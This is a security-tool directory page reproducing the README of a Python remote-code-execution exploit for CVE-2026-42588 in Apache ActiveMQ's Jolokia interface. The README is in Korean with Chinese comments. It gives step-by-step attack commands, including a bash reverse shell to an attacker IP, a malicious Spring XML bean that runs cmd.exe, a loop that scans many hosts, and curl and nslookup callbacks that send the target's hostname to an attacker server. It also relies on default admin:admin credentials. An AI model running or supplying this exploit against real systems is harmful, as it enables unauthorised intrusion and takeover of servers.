Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-42588 — Apache ActiveMQ Jolokia를 대상으로 하는 CVE-2026-42588용 Python 기반 RCE 익스플로잇입니다. 확인 전용 모드, 악성 XML 생성, 리버스 셸, OOB 및 파일 기반 검증을 지원합니다. | Kitploit
도구/GitHubGitHub/hnytgl/cve-2026-42588
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubhnytgl/cve-2026-42588

CVE-2026-42588

Apache ActiveMQ Jolokia를 대상으로 하는 CVE-2026-42588용 Python 기반 RCE 익스플로잇입니다. 확인 전용 모드, 악성 XML 생성, 리버스 셸, OOB 및 파일 기반 검증을 지원합니다.

저장소 보기
373개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-42588 - Apache ActiveMQ Jolokia 원격 코드 실행 취약점 이용

심각도: 🔴 고위험 (CVSS 4.0: 8.1)
취약점 유형: CWE-94 — 코드 인젝션
영향받는 버전: Apache ActiveMQ < 5.19.7 / 6.0.0 ≤ version < 6.2.6
이용 전제: Web Console 인증 자격 증명 필요 (기본 admin:admin)


📋 목차

  • 취약점 개요
  • 취약점 원리
  • 영향받는 버전
  • 이용 조건
  • 파일 설명
  • 빠른 시작
  • 상세 사용 방법
  • 이용 체인 전체 그림
  • 취약점 이용 성공 확인
  • 수정 방안
  • 임시 완화 조치
  • FAQ
  • 면책 조항
  • 참고 링크

취약점 개요

CVE-2026-42588은 Apache ActiveMQ에 존재하는 인증 후 원격 코드 실행(RCE) 취약점입니다.

공격자는 Web Console 인증 자격 증명을 가지고 있는 경우, Jolokia JMX-HTTP 브리지 인터페이스 (/api/jolokia/)를 통해 BrokerService.addNetworkConnector(String) 메서드를 호출하고, 정교하게 조작된 masterslave:// discovery URI를 전달하여 xbean: 프로토콜을 이용해 원격 Spring XML 설정 파일을 로드하고, 최종적으로 ActiveMQ Broker의 JVM에서 임의의 시스템 명령을 실행합니다.


취약점 원리

이용 체인

/api/jolokia/ (Jolokia JMX-HTTP Bridge)
       │
       ▼
BrokerService.addNetworkConnector(String)
       │
       ▼
masterslave://?brokerConfig=xbean:http://attacker/malicious.xml
       │
       ▼
XBeanBrokerFactory → ResourceXmlApplicationContext
       │
       ▼
Spring 预实例化所有单例 Bean → 触发 Runtime.exec() / ProcessBuilder
       │
       ▼
🚨 远程代码执行 (RCE)

주요 기술 포인트

구성 요소설명
Jolokia 노출면ActiveMQ Web Console 기본적으로 /api/jolokia/를 노출하며, org.apache.activemq:* MBean에 대해 exec 작업을 허용
위험 메서드BrokerService.addNetworkConnector(String)는 discovery URI를 수신하여 파싱
URI 트리거 체인masterslave:// 프로토콜의 brokerConfig 매개변수를 제어할 수 있으며, xbean: scheme과 함께 Spring 컨텍스트 로드 트리거
RCE 트리거 포인트XBeanBrokerFactory가 ResourceXmlApplicationContext를 사용하여 원격 XML을 로드하고, Spring은 설정 검증 전에 모든 싱글톤 Bean을 인스턴스화함

영향받는 버전

버전 범위상태
Apache ActiveMQ < 5.19.7❌ 영향 받음
6.0.0 ≤ Apache ActiveMQ < 6.2.6❌ 영향 받음
Apache ActiveMQ ≥ 5.19.7✅ 수정됨
Apache ActiveMQ ≥ 6.2.6✅ 수정됨

이용 조건

  1. ✅ 네트워크 접근 가능 — /api/jolokia/ 인터페이스에 공격자가 접근 가능 (기본 포트 8161)
  2. ✅ 유효한 자격 증명 — ActiveMQ Web Console의 인증 자격 증명 보유 (기본 admin:admin)
  3. ✅ 공격자 HTTP 서비스 — 대상이 접근 가능한 HTTP 서버에서 악성 XML 파일 호스팅 필요

파일 설명

.
├── CVE-2026-42588_EXP.py   # 漏洞利用脚本(核心)
├── malicious.xml            # 恶意 Spring XML 模板
├── requirements.txt         # Python 依赖
└── README.md                # 本文件
파일용도
CVE-2026-42588_EXP.pyPython 취약점 이용 스크립트, 탐지 모드 (--check-only) 및 XML 생성 모드 (--gen-xml) 지원
malicious.xml악성 Spring XML 설정 템플릿, Runtime.exec() 및 ProcessBuilder 두 가지 이용 방식 포함

빠른 시작

1. 의존성 설치

pip install -r requirements.txt

2. 악성 XML 파일 생성

python CVE-2026-42588_EXP.py --gen-xml -c "touch /tmp/activemq_pwned" > malicious.xml

3. 악성 XML 파일 호스팅

python3 -m http.server 8080

4. 취약점 이용 실행

# 使用默认凭据 admin/admin
python CVE-2026-42588_EXP.py \
    -u http://192.168.1.100:8161 \
    -x http://your-attacker-ip:8080/malicious.xml

# 使用自定义凭据
python CVE-2026-42588_EXP.py \
    -u http://target:8161 \
    -U myuser \
    -P mypass \
    -x http://your-attacker-ip:8080/malicious.xml

5. (선택사항) 취약점만 탐지

python CVE-2026-42588_EXP.py -u http://192.168.1.100:8161 --check-only

상세 사용 방법

명령줄 인자

usage: CVE-2026-42588_EXP.py [-h] [-u URL] [-U USERNAME] [-P PASSWORD]
                             [-x XML_URL] [--check-only] [--gen-xml]
                             [-c COMMAND] [--timeout TIMEOUT] [--no-verify]

选项:
  -u, --url         目标 ActiveMQ URL (如 http://192.168.1.100:8161)
  -U, --username    Web Console 用户名 (默认: admin)
  -P, --password    Web Console 密码 (默认: admin)
  -x, --xml-url     恶意 Spring XML 文件的远程 URL
  --check-only      仅检测 Jolokia 接口是否可访问
  --gen-xml         生成恶意 XML 文件并输出到 stdout
  -c, --command     要在目标上执行的命令 (默认: touch /tmp/activemq_pwned)
  --timeout         HTTP 请求超时秒数 (默认: 30)
  --no-verify       禁用 SSL 证书验证

시나리오 1: 리버스 셸

1. 공격자 머신에서 악성 XML 생성:

python CVE-2026-42588_EXP.py --gen-xml \
    -c "/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
    > reverse_shell.xml

2. XML 호스팅 및 리스너 시작:

# 终端1:HTTP 服务
python3 -m http.server 8080

# 终端2:nc 监听
nc -lvnp 4444

3. 취약점 트리거:

python CVE-2026-42588_EXP.py \
    -u http://target:8161 \
    -x http://10.0.0.1:8080/reverse_shell.xml

시나리오 2: CMD 명령 실행 (Windows 대상)

1. Windows용 악성 XML 생성:

malicious.xml의 ProcessBuilder 명령을 다음과 같이 수정:

<bean class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
        <list>
            <value>cmd.exe</value>
            <value>/c</value>
            <value>whoami &gt; C:\windows\temp\pwned.txt</value>
        </list>
    </constructor-arg>
</bean>

2. 호스팅 및 실행:

python CVE-2026-42588_EXP.py \
    -u http://windows-target:8161 \
    -x http://attacker:8080/malicious_win.xml

시나리오 3: 취약점 탐지만 수행

# 批量检测
for ip in $(cat targets.txt); do
    echo "=== Testing $ip ==="
    python CVE-2026-42588_EXP.py -u "http://$ip:8161" --check-only --timeout 5
done

이용 체인 전체 그림

┌─────────────────────────────────────────────────────────────────────┐
│                        CVE-2026-42588 攻击链                          │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ① 攻击者                             ⑤ ActiveMQ Broker (JVM)        │
│  ┌──────────┐                         ┌──────────────────────────┐   │
│  │ EXP脚本  │──── ② HTTP POST ───────▶│ /api/jolokia/            │   │
│  │          │    Jolokia exec()        │                          │   │
│  │          │    Basic Auth            │ BrokerService.           │   │
│  │          │                          │ addNetworkConnector(     │   │
│  │          │                          │   "masterslave://?       │   │
│  │          │                          │    brokerConfig=         │   │
│  │          │                          │    xbean:http://...      │   │
│  │          │                          │    /malicious.xml"       │   │
│  └──────────┘                          │ )                        │   │
│       │                                └────────┬─────────────────┘   │
│       │                                         │                     │
│       │          ③ HTTP GET                     ▼                     │
│       │  ┌──────────────────────┐  ┌────────────────────────────┐    │
│       └─▶│ 攻击者 HTTP 服务器    │  │ ResourceXmlApplication     │    │
│          │ (python http.server) │  │ Context 加载远程 XML        │    │
│          │                      │  │                            │    │
│          │ malicious.xml        │  │ Spring 预实例化 Bean ──▶    │    │
│          └──────────────────────┘  │ Runtime.exec() /            │    │
│                                    │ ProcessBuilder.start()      │    │
│                                    │          │                  │    │
│                                    │          ▼                  │    │
│                                    │    🚨 RCE 成功 🚨           │    │
│                                    └────────────────────────────┘    │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

취약점 이용 성공 확인

명령 실행은 Spring XML 파싱 단계에서 발생하며 비동기적이므로, HTTP 응답에 실행 결과가 직접 나타나지 않을 수 있습니다. 다음 방법으로 확인하는 것을 권장합니다.

방법 1: 리버스 셸 (가장 신뢰성 높음)

# 攻击机
nc -lvnp 4444

방법 2: DNS OOB (Out-of-Band)

# 命令中使用 nslookup 或 curl 回传
nslookup $(hostname).your-dns-server.com

방법 3: 파일 생성 확인

# 目标上检查标志文件
ls -la /tmp/activemq_pwned

방법 4: HTTP 콜백

# 在恶意 XML 中使用
curl http://your-server:8888/$(hostname)
# 同时在攻击机上监听
nc -lvnp 8888

도구 다운로드